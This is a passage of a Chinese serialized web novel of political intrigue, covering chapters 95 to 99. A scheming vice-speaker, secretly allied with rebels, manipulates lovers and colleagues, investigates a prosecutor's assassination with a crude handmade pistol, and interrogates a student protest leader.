明明她的声音不大,却激起了千层的海浪,在人群中迭代,逐渐汇聚成拍打巨石的惊天浪花。 “我们要答案!给我们答案!” 我的呼吸越来越沉,手指不自觉抠动座椅的扶手。 卡诺卡不耐烦听新闻,整聚精会神地坐在我的旁边看爱情小说。 我装作无意地用余光观察他的侧脸,问:“诺卡,你觉得这位游行的带头人怎么样?” “什么?”他瞥了一眼电视机,然后厌恶地收回眼,“烦死了,底层杂种就是喜欢搞这些东西。” 我轻笑,“诺卡,我也是底层爬起来的,在今天之前,我的地位甚至不如她。” 卡诺卡一愣,然后理所当然,“那你现在不一样,你是我的未婚妻,你现在还是参议院的副院长。” 他说出这些刻薄话事,脸上是一种纯粹的天真,没有受过任何的苦难(就算有也是我干的)。让人听着感觉很好笑,我也确实笑了。 我体会到卡特勒的乐趣了,身边养一只天真的蠢猫确实有意思。 “诺卡。”我叫了他一声,“希望你以后一直保持这样天真的性格。” 卡诺卡认为我在夸赞他,又羞又恼地小踹我一脚,然后压制不住唇角地转到另一边去,“哎呀,你烦死了,要是真喜欢我,你就应该好好表现。” “我这几天一直在忙婚礼现场的事情,你却一个问题都没问我,所有都交给我干,你真懒惰。” “好吧,我知道你是尊重我,但你问都不问,你真不负责。” 他絮絮叨叨,我把注意力放回电视机上,时不时给他一个毫无价值的回答。 “砰!” 电视机传来的巨大声响将卡诺卡吓了一跳,“啊!你在看什么!” 我不答,继续看屏幕内因为枪响而乱作一团的人群。 枪响之后,是混乱。 已经没人追究是谁开的第一枪,只知道有人在这场大游行中死了,将文明游行变成了暴乱。 一个人,两个人,不知道多少人接连倒下。 游行带头人站在最显眼的位置,第一时间作为嫌疑人被压制上了车。 然后是高压水枪和烟雾弹。 用在军事区叛乱党成员身上的刑讯工具,被用在了克亚区的公民身上—— 作者有话说:高估我自己了[笑哭] 第96章 游行带头人被押走了,剩下的游行群众们在高压水枪和烟雾弹的冲击下坚持了不足半个小时就溃散不成军。 武装警官们用束缚带抓住了几个刺头,也跟着押上了车。要还是不听话,那就用电棍,总能把人压下去。 而这一场暴乱也在极短的时间内二次冲击上行城各大媒体。 没有在现场的记者捶胸顿足错过那么重要的场面。大人物们的花边新闻固然引人注目,但暴力游行更让人流连忘返啊! 卡诺卡盯着屏幕里乱成一团的画面,表情跟更烦躁厌恶,“讨厌死了,这群人什么时候能安分一点。” 我把屏幕关闭,对此笑了笑,“白灯湾现在分不出精力来管控克亚区,就只能交给我们上行城来管。” “这样的游行不会只有一次,还会有第二次第三次。” 眼看时间很晚了,我亲自把他送出别墅,替他打开车门。 卡诺卡艰难地动用脑子,想要接回刚才的话题,“那她们怎么样才能不闹下去?” 我垂眸,将omega急切又烦躁的表情收入眼底。 又是omega的修养吗?为了长久经营生活于是让自己学习压根没接触过的东西。 “有两个解决办法。”我也不在乎他听不听得懂,竖起两根手指对他说:“第一种,继续拖延时间直到白灯湾解决了军事区内的所有叛乱党,这样就有空余的精力直接镇压所有游行,并把带头人送上处刑台。” 卡诺卡急不可耐,“第二种办法呢?” “第二种会麻烦很多。”我将他按在轿车的后座上,温柔地替他整理好衣摆,做足贴心未婚妻的人设,“作为参议院的副院长,也是克亚区选上来的参议员,必须由我亲自出面给她们一个解释和交代,并且给出解决问题的办法。例如不断增加的消费税,其他新增的税。当然,还有最重要的白矿石,我也得为她们解释清楚。” omega的脑子转不过弯了,听不懂为什么我得亲自上,也不懂各种消费税,只知道要麻烦我。 于是他撇了撇嘴,漂亮的眼睛里装满不悦,“那就第一种好了,反正中间有军事区隔着,她们再游行也没法跑到上行城来。” “你本来就很忙了,还要处理她们的问题,那我们还能不能结婚了?” 这个问题我选择用笑回避。 第二天我来到参议院,克斯蒂就径直朝我走过来。 “白无用,那一批不合格货品……” 我不等他说完直接打断施法,“你认为是我把那一批货送去了克亚区吗?” 克斯蒂一愣,也意识到他过于武断,于是压下怒火,“到底怎么回事?” 货品刚刚送出去不久,克亚区就出现了暴动游行,怎么想我的嫌疑都很大。 我带着他进入办公室,让小林给他泡了壶茶。 见他眉间的怒气总算消散些,我才语气缓和解释说:“那一批货我送进了上行城,都还没来得及处理呢。你如果不相信我,今晚我就可以带你去仓库检查。” 克斯蒂半信半疑,“真的?” “克斯蒂,你也不相信我吗?”我有些委屈,“这是关键时期,我根本不敢轻举妄动,起码得等到风声过去了我才能把货脱手。” 克斯蒂最后的怀疑也打消了。 他端着茶杯,手指毫无规律地缠绕垂落在肩膀侧的白色长辫,“克亚区对枪支的管控一直很严格。两三把枪就算了,今天传来的消息里竟然透露称在游行带头人的家中搜查到接近三千把,还有价值十万的弹药。” “这个数目,和那一批不合格货物很接近。” “克斯蒂,除了克亚区的人,其他地方想要得到枪支很简单。”我对克斯蒂说道,“上行城的人就不说了,军事区呢?还有我之前的贫民窟,因为混乱所以格外多。” 上行城的人闲着没事管克亚区干什么?特殊时期让克亚区的人文明游行一下算了,谁会给克亚区的人偷偷送军火? “所以,是叛乱党?”克斯蒂眉头紧蹙,“他们逃到克亚区,混进了游行队伍里?” “我就是这样猜测的。”我点头,“军事区和克亚区上行城接壤,无法逃进上行城,就只能往克亚区跑。军事区的人想要追捕就必须进入克亚区,到时候会很麻烦。” “现在克亚区到处都是大小游行队伍,制造暴乱轻而易举,他们完全可以混入其中,然后暴乱期间通过克亚区前往贫民窟废墟。废墟那还没有正式规划,很少人在意,正好给他们养精蓄锐的时间。” 我的说法半真半假。 有没有叛乱党我不知道,反正我知道里面肯定有组织内部的人。 就是那个游行带头人挺厉害,昨晚罗拉蒂尼传来信息,说有机会可以把她也吸纳进组织里。 不是很难,可以搞一下。 我的手指轻轻敲打桌面,见克斯蒂还是沉思状,于是开口:“克斯蒂,如果你真的担心,可以让你姐姐的人亲自去克亚区一趟,检查检查上缴的枪支。如果是你们公司的枪支,无论是否合格都会有特别的标记。” 克斯蒂的睫毛颤了颤,“嗯。” 我看了眼时间,拉着他的手离开办公室,“叛乱党不会那么容易清除,就算是死也会拖上很多人一起。” “你们家族从事军火生意,最容易被缠上,你只要确保你姐姐没有直接和那些人做生意,有了你和缇温,谁都没法动简家族。” 在我的安慰劝说下,克斯蒂终于放松了。 我的说法在下午的会议中得到了证实。 番苏笑眯眯地让大家看和屏幕内的照片,“这是已经确认逃跑到克亚区,制造了暴乱的叛乱党成员之一。” 邦林顿撑着脸,充满虚假笑意的眼睛里有几分疑惑,“这应该是军事区的问题,就算是去克亚区排查,也应该交给检察院,而不是参议院。” “这当然不归我们参议院管。”番苏耸肩,“但我们前几日提交上去的法案刚刚被陪审团打回来,隔几天叛乱党就被发现逃亡到了克亚区,这让我们很难搞啊。” 二十一席位来自克亚区的议员举手发言,“我们提交的法案有益促进克亚区和上行城之间的交流。长久以来,因为军事区的存在让两个区公民对彼此的偏见加大。” “我们的法案确实存在一定的危险性,但从另一个角度想,可以是一个大胆的尝试。让两区公民共同对抗叛乱党,这就是法案的目的。” 我听了一耳朵,总感觉在点我。 等我看向番苏,才发现大家的视线都集中在我的身上。 好吧,我才刚回上行城没几天,又得出差了。 我呼出一口气,借着二十一席位的参议员话头继续说:“想拿出让陪审团信服的证明,就得我们亲自去。只有军事区的人前去克亚区,很多程序处理起来很麻烦,检察院的人也无法在军事区在的情况下直接插手。我去过军事区,和卡瑟娜将军有过短暂的交流,可以亲自去看看在。” 几乎是标点符号刚落下,番苏就迫不及待地拍手股掌了,“白副院长不愧是克亚区选上来的,就是想得周到!” 要不是知道她和我是一伙的,我真的以为她在阴阳怪气我。 我想要去克亚区不是说去就去的,其中复杂的程序就足够让人头疼。 但是在此之前,我还得去教堂维持一下尊重信仰的人设。 罗拉蒂尼含着笑把支票递给我,“数字还满意吗?” 我双手捧着支票,拇指不断摸索支票上的印刷字体,“很满意,首领,这就是我加入组织的动力!” 番苏蹲在罗拉蒂尼身后,对穷鬼没见过世面的我发出了致命嘲讽,“吃软饭的是你,怎么没钱的还是你啊。” 我立刻回嘴,“那不一样,不一样啊!” 番苏嬉皮笑脸,跟没听见似的无视了我的狡辩。 将支票藏进口袋里,我抬眸望着罗拉蒂尼,“首领,您想怎么做?番苏要跟着我去吗?还是卡瑟娜跟我一起去?” omega女性端着母性般包容的笑容,吐出的话却没那么好听,“无垠,快到时间了。” “嗯?”我疑惑。 隐秘的房间内,还穿着教皇服侍的罗拉蒂尼含着笑容用手指点了点桌面上摆放的地图。 我追随她的目光落下去,看见她的手指停留在群岛上。 海上的群岛很多,可罗拉蒂尼的视线却不容置疑地定格在其中一块地方,“她们在这里。” “怎么发现的?”我问。 罗拉蒂尼:“追踪那些叛乱党逃亡的路线,找到了。” “无垠,她们链接大陆的信号塔在无人区,我不方便离开上行城,而你就可以趁着这次机会回到无人区寻找信号塔,并摧毁它。” 听着不是什么简单的任务,我眉头皱起来手指番苏,“她呢?她有什么任务?” “番苏要去处理仓库内的不合格军火。”罗拉蒂尼回答,“阿沐的那半张设计图纸很有用,我已经让辛罗娅补齐下半张设计图。” omega女性说话时,目光直直地凝聚地图上的群岛,嘴角的笑意渐浓,“摧毁信号塔后,这一批军火也能改造完成运用在上行城和军事区内。” 我的呼吸逐渐加重,“所以才说时间快到了?” “万一失败了怎么办?造反成功皆大欢喜,造反失败那就得上处刑台诶。而且又怎么保证克亚区的公民们能配合您?” 罗拉蒂尼轻笑摇头,“无垠,你明知道这些问题没有意义。昨天被逮捕的那个游行带头人,有她在,我们的计划一定会成功。” 行吧,你都这样说了我还能怎么样,只能乖乖听话做任务啊。 离开房间,我把一罐药剂交给番苏,“等我走了,用我的名义给帕菲尔隆多送去。” 番苏捏着玻璃管,放在阳光底下观察,“这是从军事区带回来的?” “嗯,祁圆弄出来的半成品,药效猛烈程度减少二分之一,给隆多用刚刚好。” “有算过持续时间吗?”番苏问。 我耸肩,“不知道,祁圆给我,我就拿。” 想到那个beta男性,番苏的脸上浮现出微妙的笑容,“他的能力和辛罗娅比起来谁更厉害?” “当然是辛罗娅。”我回答,“隆多用了这罐药剂后,一定会找上你讨要下一次的药剂。到时候你配合我,把法案提交上去并以最快的速度让他通过,然后执行。” 番苏原本得到嬉皮笑脸微微放缓,自上而下地打量我。 许久,她才轻笑,“白无垠,你的脑子想挺多,就是不知道首领知不知道你的打算。” “她当然知道,我不都是按照她的命令做事么?”我无辜摊手,“挑拨离间嘛,我很擅长的。” 第97章 番苏会怀疑我在我的意料之中。 我小动作多又不是一天两天的事了,她肯定也从罗拉蒂尼口中知道我在无人区里干过什么缺德事。 她和罗拉蒂尼真能百分百信任我,我觉得这个组织倒闭也罢。 但就目前的阶段而言,我们三人利益基本保持一致,除了背后搞一点悄悄的小动作外,大方向上不用担心出问题。 那这个时候又有人要问了,我要搞什么小动作? 当然不能说啊,说了我还怎么搞? 离开大教堂后,下午我单独跑了一趟陪审团大楼,单独接受卡特勒微妙眼神的洗礼。 “跑去克亚区做什么?”卡特勒没有立刻把批准的文件交给我,而是笑容亲切地看着我,带着些许挽留和无奈,“你和诺卡的婚期也快到了,这个时候又跑去克亚区,也不知道什么时候才能回来。” “军事区带回来的伤还没好全呢,可别旧伤添新伤,把好好的身体搞垮了。” 我面带憨厚的笑容,小腿无意识地踢着,说:“您不是说年轻人要多锻炼吗?而且只有我去最合适了。再加上有将军保护我,不用担心会出事。” 卡特勒轻哼一声,“无用,你的嘴总是能说出让人舒心的话来。” 我笑而不语,上前一步想要将批准后的文件拿走,可她下一句话又让我停下动作。 “军事区自尽的古奇伽中士是你教唆的吧。” “……”我一动不动。 卡特勒把文件放进了我的手中,弯起的眉眼却没多少真情实意的笑意,而是带着一股透着寒冷的打量和观察。 “当时在军事区参加会议的人里只有你,以及古奇伽姐妹。你知道白灯湾之前想对古奇伽中士动手,也知道白灯湾在昂撒死去后有可能对她清算。” “白无用,你到底有多少的本事是我不知道的?” 我还是一动不动,手指却不受控制地扣洞纸质文件,直到在上面抠出一道道折痕。 “昂撒的棘手程度,白灯湾都感到头疼。”卡特勒的目光冷冷地落在我的手指处,“你又有什么本事,几次三番被他抓住却还没死呢?” 很好,我情人遍布全世界的事实就要暴露出去了。 我任由她的打量落在我身上。 这时候什么狡辩都没用,还不如听听她想要干什么。 在短暂的僵持中,卡特勒终于移开了眼神,语气回归亲切温和,“去克亚区的时候注意安全区,跟紧瑟娜,不要跑去其他乱七八糟的地方。” 我这才缓慢抬头,对她露出乖巧的微笑,“是。” 从办公室离开,我的呼吸越来越急促,嘴唇紧抿地乘坐上电梯。 “叮!” 电梯门关闭的下一秒,我原本紧张的表情一下子就放松了。 卡特勒应该很满意我刚才的表现。 电梯停留在某一层,我让出一个位置让隆多进来。 高大的alpha男性进了电梯首先打了个哈欠,一副刚刚睡醒的困倦模样。 他见我第一眼时眼睛还是眯着的,反应了一会后微微昂起头,像是在闻嗅某些气味,然后顺其自然地将手掌覆盖上我的后脖颈。 “还是beta。”他说。 我嘴角挂着老实人专用微笑,“当然,beta就是beta。” “嗯。” 我微微垂首,让他的手掌能够更贴合我的颈部曲线,“您很喜欢beta这个性别?” 帕菲尔隆多没有回话。 “我或许可以帮您。”我声音放缓。 alpha侧眸,与我靠得近了些,同时伸出手用他的权限操控了一下电梯的按钮,让电梯停留在某一个楼层却不开门。 “继续说。”他鼻尖蹭着我的后脖颈。 “帕菲尔。”我换了一个亲昵的称呼,“情人之间要讲究你来我往。” 后面的那个脑袋停顿了,过一会,他的下巴磕在我的肩膀做足亲密的姿态,“你想要什么?” 他思索片刻,“被卡特勒打回去的法案?” “你知道?”我轻笑。 “我可以绕过她给你通过。”他答非所问。 我转过去,与他面对面,鼻尖碰在一起,“不够,帕菲尔,你想要的东西对我这个级别的人来说很难拿到。在这个特殊时期拿出来,一旦被发现我还会有生命危险。” alpha终于把迷蒙的眼睛睁开了,直勾勾地盯着我,“你还想要什么?” 我直言不讳,“光束里面是什么东西?” 他还没开口,我继续说:“我知道她们人在群岛。” 这个回答算得上是摊牌,但又在合理范围内触及不到他的利益。 电梯内还有很大一片的空位,可帕菲尔和我都挤在角落里。 刚才被我拉开的距离又接近了,甚至更近,近到他可以肆意地俯下身子去勾我的后脖颈。 “信号塔。”他说道。 我呼吸有了片刻的急促,“信号塔?你确定就在白色光束里,你见过?” 帕菲尔歪了歪脑袋,“你有其他的答案。那是哪里?克亚区,平民窟废墟,还是……无人区?” 帕菲尔知道无人区?从罗拉蒂尼那知道的? 想到这种可能,我顿时惊出一身冷汗,生怕我背后的小动作转头被帕菲尔告去罗拉蒂尼那。 但这个想法在我的脑海里仅仅过去不到一秒钟就被抛下了。 如果帕菲尔和罗拉蒂尼的关系好到把重要的组织情报交出去,那就不至于让我这个第三方挑拨离间他和隆多家族的关系了。 既然如此就只有一种可能,帕菲尔确实亲自去过白光束内,也看见了正在使用的信号塔。结合隆多世代忠诚总统的设定,这种可能百分之八十成立。 现在矢口否认反而显得欲盖弥彰,不要慌啊白无用,你还有机会。 于是我顺着他的答案往下问,“无人区是哪?听你的意思,难道有两个信号塔?” 帕菲尔:“你想去信号塔做什么?” 试探的边缘已经岌岌可危了,但这不是我的边缘,于是我继续试探:“我猜对了,确实有两个信号塔,对吧?” alpha不说话了。 “钥匙在隆多家族的手中,还是在你的手中?” 回应我的依旧是沉默。 而我也在沉默中意识到再不停止话题我就会面临危险的局面,于是立刻换上无辜又老实的表情,假装自己是个好奇心旺盛的普通人,“这本来就是礼尚往来,只是简单的几个问题而已,不要生气嘛。” “呵……”他从双唇的缝隙里呼出一声轻笑,“你想进陪审团?” “谁不想呢?” 人往高处爬,人人都想当人上人。 隆多家族这么多年对总统的位置献上忠诚,图的不就是安稳的权利吗? “先把你今天提出来的诚意交上来吧。”他轻声说道。 我微微侧头,压住了他的手,“当然,隆多先生要的东西,我没理由拒绝。” “叮!” 电梯终于打开了。 我用纸巾擦了擦湿润发红的后脖颈以及手指,又把有些凌乱的头发重新绑回狼尾,才头也不回离开了电梯范围。 而周围早已经被有眼力的人提前清场,还喷洒的空气清醒剂以及欲盖弥彰用的香水。 9月1日,完成了维持人设后,我和检察院派来的检察官成功会面。 他是一个上了年纪的alpha,戴着一副斯斯文文的眼睛,比我这个肮脏的政客多了几分说一不二的气质。 大概是政客们需要打哑谜,而他不需要吧,所以看谁的眼神里都带着几分敏锐的考究和探查。 我站在他身边,假装没发现他的打量,继续用委婉好听但让人听不懂的话术去应付记者们。 直至早上十点,我和检察官各自上了车,然后行驶向军事区。 军事区和上行城之间不只有一个关卡,还有另外一个较为安全的关卡。想想也知道,如果彻底隔绝克亚区和上行城,那上行城的人怎么亲自来割韭菜,怎么亲自看看底层杂种们有没有乖乖加班或者恶意讨薪? 之后就很顺利了。 车队成功与卡瑟娜汇合,由卡瑟娜带队引导众人穿越军事区,来到克亚区的关卡。 我无意中用余光看见了卡萨。 她跟随在卡瑟娜的身后,离开关卡时又目送我们离开,全程看起来都很严肃。 也许是隔着车窗,距离又较为遥远的缘故,我在她的脸上找不到丝毫关于古奇伽中士死去后的悲愤。但我想了又想,觉得能找到才有鬼。死要面子的年轻人往往不愿意将软弱的一面暴露在人前,何况我这个肮脏政客小白脸还看着她呢。 上行城穿越军事区,再到克亚区能够下榻的酒店,一共花费了将近十个小时,到了晚上接近酒店,所有人才能得到安置。 虽说酒店早早接到通知,很早之前就进行了安全排查,但为了确保万无一失,在进入房间彻底休息前,卡瑟娜带来的士兵们还会对房间进行二次排查。 在这期间我就和卡瑟娜以及检察官三人坐在酒店大堂。 小林站在我身后,给我们详细汇报明天早上八点到晚上八点之间的行程,并且给出了几个容错选项。 汇报结束确认没有问题后,士兵们也排查结束了。 我和检察官互相寒暄几句,就互相客气说晚安。 卡瑟娜没走,显然有话和我说。 趁着周围没什么人,我认命般的举起双手无奈对卡瑟娜说:“姐姐,我知道你还是看我很不爽,但能不能等过几天我伤全好了再打我啊。” “而且今天很晚了诶。” 卡瑟娜还是那面无表情的样子。 我怀疑面无表情不是因为她高冷,而是因为她不知道该怎么摆于是干脆面无表情了。 卡瑟娜没理会关注我过分夸张的表情,张开嘴就要开启话题。 “砰!” 突如其来的枪声让我和她一起变了脸色,飞快跑去检察官的房间! 拉到房间门口,卡瑟娜拿出配枪对准门锁的位置开了一枪,而后一脚踹开房间门。 我跟随在她身后,只看见一道黑影丢下手枪,以极快的速度从窗户离开。 卡瑟娜速度极快,对准黑影扣动扳机! 也不确定有没有打中,黑影闪身离开了。 “通知下去,包围住酒店,将所有人集合在一楼大厅,任何人不得出入!”我转过身对语速极快对追上来的士兵命令道。 第98章 来自上行城的检察官到达克亚区的第一天,甚至还不到24小时就被人刺杀身亡在酒店,这件事要是传出去,绝对能引起超大的舆论风暴。 我站在房间的某处角落观察凶杀现场。 “你确定击中杀*手了吗?”我问道。 卡瑟娜半蹲下来,接过酒店经理递过去的无菌手套开始检查尸体。 “我确定。”卡瑟娜回答我的问题。 她检查了检察官的太阳穴,看着上面枪口微微蹙眉,“凶器呢?” 我昂首,示意站在一旁的士兵把凶器拿过去给她。 卡瑟娜在军事区摸爬滚打多年,对各种型号的热武器信手拈来。可这一次的她摸索枪支上的各种细节和纹路,眉头皱起来的幅度更大了。 检查过后,她拿着枪来到我身边说:“这种型号的枪,我没见过。” 我闻言直起腰,“新型手枪?零件也没见过吗?” “没有。”卡瑟娜摇摇头,“军事区每天运转的热武器数量很大,且都有连续编号。就算是经过改装的手枪,我一天也能摸到十几种类型。” “这一把手枪不像是流水线生产出来的,反而像是人手打磨。” 她说着,当着我的面开始拆解手枪,将每一个零件都拆开放在桌面上向我介绍,“你看,上面有明显的打磨痕迹。而机器打磨的零件,肉眼是无法看出痕迹的。” “因为各种零件都是粗糙的人为加工,所以手枪整体成功发射一颗子弹的概率只有不到百分之三十,射程更是只有短短的不到一米。” “如此粗糙的手枪,想要在短时间内成功杀人,那就只有一种可能。” 我抬眼,与卡瑟娜直直对上视线,“熟人作案。” 只有足够熟悉的人,才能毫无戒备心地任由其接近,然后被对准太阳穴一枪毙命。 “所以检察官和凶手在今天之前就认识。”我的呼吸频率拉长,“会是谁?” 朋友?情人?家人?还是政治场上的利益同盟? 无论哪一种,在这种关键节点把人杀了都会造成极大影响,从而给我和卡瑟娜捕捉叛乱党的行动造成阻碍。 “叛乱党。”卡瑟娜说道。 我才想起来今天卡瑟娜的台词简直超标,见她如此笃定,好奇地把脑袋往她这里伸了伸,“那么笃定?万一是仇杀呢?或者是游行组织者?这个关键时期,任何人都有可能成为凶手。” 卡瑟娜把嘴唇闭上了,表情寡淡的脸上显出几分难以言喻的不悦,又像是憋着一小股脾气想发泄但这个时候没法发泄。 不愧是正宗老实人,逗起来就是好玩。 不过我也知道分寸,卡瑟娜真生气了会掏枪打我。为了我的安全着想,我决定适可而止及时转移话题,“人应该都集合好了,我们先去大堂。” “如果你真击中了他,短时间内他没法处理伤口,一定会露出马脚。” “嗯。” 我和卡瑟娜肩并肩来到酒店大堂,酒店经理全程唯唯诺诺不敢说话跟在我们身后,时不时拿出手帕擦去额头冒出来的冷汗。 到了一楼,密密麻麻都是人。 昨天,酒店就把所有客人清出了酒店,专心接待来自上行城的贵客。 也好在如此,不然排查的范围还得扩大几圈。 酒店经理搓着手,紧张地说:“就是这些人了。” “任何能和外界联系的东西都上缴了吗?”我问道,“有用信号器搜寻过没有遗漏吗?所有人是第一时间跟着走吗,就连上厕所的人都从厕所里揪出来吗?” “现在情况特殊,一旦消息传出去会引发什么样的后果,你也知道的吧?” 酒店经理连连点头,双手送上点名册,“今昨两天上班的员工都在这,连刚刚下班的员工都叫回来了。” 点名册很厚,放在手中还让我的手往下压了一些。 把点名册交给士兵去检查,我又端起了亲民的人设,满脸亲切笑容地拍了拍酒店经理的肩膀,带着些许歉意说:“麻烦你了,如果可以我们也不想这样严格,但形势所迫。” “你放心,确认刺杀案和酒店没有关系后,我们会给予相当的补偿。” 酒店经理这才微微松一口气。 卡瑟娜腰杆挺直地旁听,对我翻书般的变脸速度不置一词。 我招呼小林过来,“明天早上第一项行程是什么?” 小林连忙翻看时间表,“与克亚区的各地官员会面。” “最重要的工作呢?”我说。 小林一愣,视线快速往下浏览一遍后,说:“三点钟前往中心监狱探望此次暴力游行的带头人,并参与审问。” 说是参与,实际上就是坐在观察室旁观而已。 我的手指转了转,又扭头去找卡瑟娜说悄悄话,“你说明天我会不会也被人刺杀?” 卡瑟娜:“……也许。” “我觉得会。”我笑着说道,又对小林说:“通知各级官员,检察官身体不舒服无法出席,但我和卡瑟娜将军会如约到场。” 小林点头,“好的。” 等小林离开,我和卡瑟娜在大堂又站了会。 工作人员众多的,每一个都得仔细检查是否有伤口需要的时间很多。 我和卡瑟娜不可能真熬一个晚上,于是互相耳语几句,没过多久便离开大堂前去休息。 9月2日早上八点,酒店门前人满为患,记者们将摄像机对准了大门,话筒更是疯了一般递上去。 八点三十分,来到外交部大楼门口,记者们翘首以盼地看着司机将车门拉开。 里面空空如也。 从记者到出门迎接的官员,所有人都愣在原地,场面陷入死一般的寂静。 另一边,中心监狱内。 我和卡瑟娜穿着朴素的衣服,将特殊的证件晃到监狱长面前,直到对方汗流浃背,我才带着标准的亲切笑容柔声询问:“现在,我们可以进去了吗?” 监狱长:“是,是,当然可以。” 于是我昂首挺胸带着卡瑟娜进入了监狱。 全程协助我逃窜的卡瑟娜一滴汗也没留下来,步履稳健不见丝毫疲态。 很显然,半个小时之内横跨多地完成“借车”等行为对她来说很轻松。 不愧是和阿丽打得你来我往的人啊,就是不得了。 监狱长小声介绍说:“她叫景照,原本是军事学院的大四学生,都快拿到毕业证了。只是不知道为什么,突然就组织起了那么大的一场游行,甚至有渠道弄到枪支。我们在她家中搜查到了各种类型的枪支,有些甚至是连号。” “所以你们以疑似叛乱党同伙的罪名把她抓进来了?”我问道,“没有根据吧,如果她是叛乱党,根本就不会把那么大批的军火藏在家中。” “而且多大的家才能把几千的军火和十几万的弹药藏在家里?” “资金流水查了吗?动向查了吗?各大社交媒体的发言查了吗?” 随着我的问题蹦出来,监狱长额头渗出的汗水就越多,笑容也越来越紧张。 “这,只是嫌疑,嫌疑……” 我脚步一顿,忽然笑了,“我现在怀疑你要刺杀我,那我能不能正当防卫把你枪杀?” 监狱长不敢置信瞪大双眼,还未说什么,我就呼唤卡瑟娜,“卡瑟娜,拔枪杀了他。” 卡瑟娜一言不发,手却以极快的速度拔枪抵住他的额头扣动扳机。 “啊啊啊啊!”监狱长惊恐地闭上双眼软倒在地。 他心有余悸地昂头看着枪口。 卡瑟娜收回枪,检查后对我点点头,“只能使用一次,昨天成功发出一颗子弹后就彻底报废了。” 我饶有兴致地打量枪支,“我反而觉得这样的手枪更有可能是学生徒手搓出来的。叛乱党再怎么落魄也不至于使用这种劣质手枪吧?” “可能是栽赃。”卡瑟娜依旧坚持。 我耸耸肩,“好吧好吧,我们各自保留意见,等见了带头人就知道了。” 于是我俩自顾自地收起枪,继续往里走了。 带头人景照,土生土长的本地克亚区公民,从小到大接受的都是克亚区教育,成年后考入军事学校。 虽然家境一般,但性格十分有魄力,因此在大学内有一定的号召力和影响力。 狱警将人带到审讯室时,我还发现这家伙傲得很。 不是说她的行为多傲,而是她理所当然的气质。这种走正常路子升迁的人和我这种小白脸就是不一样哈。 “我知道你。”景照坐下来就先发制人,“我们投票选出来的参议员,亲自射杀叛乱党首领后成功升职成为副院长,未来不久还会和陪审团团长养子结婚。” 好长的介绍词,我大为震撼,但丝滑接受,“你好,景照同学。” 景照皮笑肉不笑地扯了扯嘴角,又看向卡瑟娜。 对卡瑟娜,她的表情就复杂多了,“你……你和上行城很多人不一样。” 我:“喂喂喂,你到底什么复杂感情啊,和我说说呗。” 景照:“用得了你管,小白脸。” 我:“你刚才介绍我的时候不是这样说的,不要因为被捕入狱就干脆鱼死网破损人不利己了。” 景照眉头一皱,“你们不是要给我处刑吗?” 见她满脸疑惑,我挂上了无辜又亲切的笑容,“如果我们真打算把你送上处刑台,我和卡瑟娜就不会过来。” 接地气的论调,开玩笑般的打趣,再加上年轻相近的外貌,是最容易拉近距离的工具。 我知道怎么让这个还没有彻底离开学校,意气风发又理想主义的青年放下心里的戒备。尽管她依旧藏着底线,但对我而言足够了。 “景照,我和卡瑟娜是隐瞒了众多克亚区的高级官员偷偷来的,谈话时间最多只有三个小时。三个小时后他们就会找到监狱,到时候再要说些什么可就没那么容易了。” “现在你有两个选择。” 对上景照的眼睛,我缓缓举起一根手指,“第一,依旧选择隐瞒。” “我和卡瑟娜拿你没办法,只能耗费大量的时间精力调查暴力游行的罪魁祸首,最后可能抓不到人,只能拿你去顶罪。” “第二,我们问什么你就回答什么。得到答案的我们皆大欢喜,你洗清嫌疑脱罪回归正常生活,我和卡瑟娜拿着政绩回到上行城继续升职。” 景照听了一会,扯了个冷笑,“你又怎么确认我有没有在说谎呢?” 我两手一摊,摆出小人得志的无赖模样,“我们可以分辨谎言,而分辨谎言所消耗的时间可就不归我们管了。” 青年沉默下来,眼睛死死盯着我,眼底似乎压抑着某种情绪。 良久,她说:“你问吧。”—— 作者有话说:大家国庆快乐呀~ 第99章 景照最开始看见叛乱党的新闻时,就下定决定毕业后前去军事区。 同窗好友都在劝说,一个克亚区出身的alpha要在军事区立足,其困难程度可见一斑。但景照不是很担心,反而拿同校毕业的古奇伽学姐作为例子,认为只要足够优秀,足够敏锐,绝对能做出一番自己的成绩。 景照还以放弃奖学金为交换,希望从校长这里拿到一封推荐信。 可惜她没能如愿。 塞兰德斯古奇伽中士在军事区内自尽,留下了认罪遗书。叛乱党首领被射杀,白矿石被爆出,还有其他诸多早已无法压制的社会问题。 放他爸的狗屁努力和敏锐!古奇伽中士不够敏锐吗?不够努力吗?还不是死了? 至于所谓的认罪书,塞兰德斯一个字都不相信。 “所以你利用你在学校的号召力,通过校园论坛添加好友界面下的聊天框来招揽同伙?”我啧啧称奇,“你很厉害啊,要是真给你去了军事区,升职加薪只是时间问题。” 我的身子靠前了一点,以气势压过景照,却不至于将她心中的警惕唤出来,“但是距离古奇伽中士死亡,再到你发动多达三万人的大游行,这期间只过去了十几天。凭借你一人根本无法完成。就算有同伙,也做不到。” “游行要准备的工具,游行递交的材料,当天特殊情况的处理方案,每一样东西都无法在短时间内完成和确认。” 坐在束缚椅上的青年在层层逼问下展露出些许动摇,而我则是趁机捕捉她眼底一丝一毫情绪,“除非,你们有克亚区势力之外的帮助,也就是——叛乱党!” “不是!”景照大声反驳。 我当然知道她不是啦!因为帮她的就是我们嘛! 但眼下最重要的不是这个问题,而是刺杀问题。 于是我冷下脸,“是么?你知道就在昨天晚上跟随我一起来到克亚区的检察官被刺杀身亡了吗?而杀手遗留在现场的手枪,和警官们在你家中搜查到的手枪拥有同一批生产编号。” 卡瑟娜快速用余光瞥了我一眼。 我在桌子底下掐了她一把,让她别打扰我诈骗小姑娘。 “检察官死了?”景照不敢置信瞪大眼睛,“怎么可能!” 我冷笑,“怎么不可能?在这个特殊时期,能够想到刺杀检察官的人只分两种,那就是叛乱党和游行者。而无论哪一方,都能在这个关键节点造成巨大影响。” “现在看你嘴硬的样子,那就只有一种可能,你们早已经和叛乱党勾结,杀死检察官就是为了转移我和卡瑟娜将军的注意力,然后趁着混乱逃出克亚区前往贫民窟废墟!” “你他爸的之前不是还说相信我的清白吗?”景照胡乱抓揉头发弄成鸡窝,“现在你又把叛乱党的帽子扣在我脑袋上,你到底要怎么样?还不如把我送去处刑台!” “所以你承认你们与检察官有关系,并且知道我们到达克亚区的第一天就会出事!”我猛地拍打桌面,笑容越来越冷,“景照同学,你刚才的语气了,可不是不认识检察官的样子啊。” 景照一下子把嘴闭上了,眼底飞快划过懊恼。 到底是初出茅庐大学生,没受过社会毒打。 “现在你可以将知道的所有事情告诉我了,景照同学。你的同伙是谁?将枪支藏进家中的人又是谁?组织游行的资金又来自谁?” “还有一点,昨天晚上刺杀前,谁去找了检察官。” 